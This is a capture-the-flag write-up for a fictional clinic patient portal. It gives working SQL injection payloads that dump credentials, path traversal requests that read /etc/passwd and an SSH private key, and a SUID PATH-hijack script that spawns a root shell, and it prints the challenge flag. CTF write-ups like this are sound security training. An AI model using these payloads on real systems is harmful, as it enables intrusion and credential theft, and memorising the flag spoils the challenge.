1c42421380
- Generated screenshots for all 33 challenges (ESP, Hardware, IoT, OT, Misc, Web3) - Replaced all 123 placeholder lines with actual PNG image references - Cleaned duplicate images from previously partial updates - All write-ups now have full illustrated solutions
190 lines
4.0 KiB
Markdown
190 lines
4.0 KiB
Markdown
# Patient Portal
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| Field | Value |
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|-------|-------|
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| Category | Misc |
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| Difficulty | Medium-Hard |
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| Points | 500 |
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| Author | Eun0us |
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| CTF | Espilon 2026 |
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---
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## Description
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The WIRED-MED network at Clinique Sainte-Mika runs a patient portal for staff.
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Intelligence suggests the system was hastily deployed by contractor M. Eiri.
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Gain full control of the machine.
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**Ports:**
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- 8080: Web Portal (HTTP)
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- 2222: SSH
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Format: **ESPILON{flag}**
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---
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## TL;DR
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SQL injection on the `/search` endpoint to dump credentials and the SSH passphrase. Log in
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as admin, exploit path traversal on the report download endpoint to steal the SSH private key.
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SSH in as `webadmin`. Find a SUID binary that calls `logger` with a relative path. Hijack it
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via PATH injection to spawn a root shell and read the flag.
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---
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## Tools
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| Tool | Purpose |
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|------|---------|
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| Browser / `curl` | SQL injection, admin login, path traversal |
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| `hashcat` / CrackStation | MD5 crack for admin password |
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| `ssh` | Login as webadmin |
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| `bash` | PATH injection privilege escalation |
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---
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## Solution
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### Stage 1 — SQL Injection
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The `/search?q=` endpoint is vulnerable to UNION-based injection with 6 columns.
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**Enumerate columns:**
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```
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/search?q=' UNION SELECT 1,2,3,4,5,6--
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```
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**Discover tables:**
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```
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/search?q=' UNION SELECT 1,name,3,4,5,6 FROM sqlite_master WHERE type='table'--
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```
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Tables: `patients`, `users`, `system_config`
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**Dump users:**
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```
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/search?q=' UNION SELECT 1,username,password_hash,role,5,6 FROM users--
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```
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Results:
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- `admin` : MD5 hash `e0b7e413c064de43c6c1ca40a8c175a1`
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- `nurse01` : (irrelevant)
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**Dump system_config:**
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```
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/search?q=' UNION SELECT 1,key,value,3,4,5 FROM system_config--
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```
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Key finding: `ssh_passphrase = wired-med-013`
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**Crack the admin password:**
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```bash
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echo -n "SainteMika2026" | md5sum
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# e0b7e413c064de43c6c1ca40a8c175a1
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```
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Password: `SainteMika2026`
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---
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### Stage 2 — Admin Access
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Log in at `/login`:
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- Username: `admin`
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- Password: `SainteMika2026`
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The admin panel reveals: SSH port 2222, user `webadmin`.
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---
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### Stage 3 — Path Traversal
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The `/admin/reports?file=` endpoint is vulnerable to path traversal.
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**Confirm user exists:**
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```
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/admin/reports?file=../../../etc/passwd
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```
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**Extract the SSH private key:**
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```
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/admin/reports?file=../../../home/webadmin/.ssh/id_rsa
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```
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Save the key to `id_rsa` locally.
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---
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### Stage 4 — SSH Access
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```bash
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chmod 600 id_rsa
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ssh -i id_rsa -p 2222 webadmin@<HOST>
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# Passphrase: wired-med-013 (from system_config)
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```
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---
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### Stage 5 — Privilege Escalation
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**Find SUID binaries:**
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```bash
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find / -perm -4000 -type f 2>/dev/null
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```
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Found: `/opt/navi-monitor/vital-check` (SUID root)
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**Inspect the binary:**
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```bash
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strings /opt/navi-monitor/vital-check | grep logger
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```
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The binary calls `system("logger -t vital-check 'check complete'")` using a
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**relative path** for `logger`.
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**Exploit via PATH hijacking:**
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```bash
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echo '#!/bin/bash' > /tmp/logger
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echo '/bin/bash -p' >> /tmp/logger
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chmod +x /tmp/logger
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export PATH=/tmp:$PATH
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/opt/navi-monitor/vital-check
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```
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`bash -p` preserves the SUID effective UID, spawning a root shell.
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**Read the flag:**
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```bash
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cat /root/root.txt
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```
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---
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## Flag
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`ESPILON{r00t_0f_s41nt3_m1k4}`
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